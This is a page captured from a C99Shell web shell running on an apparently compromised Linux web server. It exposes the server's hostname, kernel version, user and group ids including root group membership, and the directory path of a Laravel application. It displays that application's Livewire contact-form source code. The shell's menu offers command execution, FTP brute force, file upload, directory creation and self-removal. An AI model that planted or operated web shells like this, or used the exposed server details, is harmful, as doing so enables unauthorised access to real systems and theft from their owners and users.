!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Livewire/   drwxr-xr-x
Free 28.38 GB of 117.98 GB (24.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ContactComponent.php (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Livewire;

use 
App\Models\Admin;
use 
App\Notifications\ContactNotification;
use 
App\Rules\EmailVerificationRule;
use 
Illuminate\Support\Facades\Http;
use 
Illuminate\Support\Str;
use 
Livewire\Component;

class 
ContactComponent extends Component
{
    public 
$name;

    public 
$email;

    public 
$subject;

    public 
$message;

    public 
$success;

    public 
$captcha null;

    public function 
submitContact()
    {
        
// $this->validate();
        
$this->validate([
            
'name' => 'required',
            
'email' => ['required''email''spammail', new EmailVerificationRule],
            
'subject' => 'required',
            
'message' => 'required|min:10',
            
'captcha' => config('captcha.active') ? 'required' '',
        ]);

        try {
            if (
checkMailConfig()) {

                
$contact = [
                    
'name' => $this->name,
                    
'email' => $this->email,
                    
'subject' => $this->subject,
                    
'message' => $this->message,
                    
// 'token' => Str::random(12),
                
];

                
Admin::all()->each(function ($admin) use ($contact) {
                    
$admin->notify(new ContactNotification($contact));
                });

                return 
redirect()->route('frontend.contact')->with('success''Your contact mail has been sent');
            }

            return 
redirect()->route('frontend.contact')->with('error''We regret to inform you that your email could not be sent due to incomplete mail configuration');
        } catch (
\Throwable $th) {
            return 
redirect()->route('frontend.contact')->with('error'$th->getMessage());
        }
    }

    public function 
updatedCaptcha($token)
    {
        
$response Http::post(
            
'https://www.google.com/recaptcha/api/siteverify?secret='.
            
config('captcha.sitekey').
            
'&response='.$token
        
);

        
$success $response->json()['success'];

        if (
$success) {
            
$this->captcha true;
        }
    }

    public function 
render()
    {
        return 
view('livewire.contact-component');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--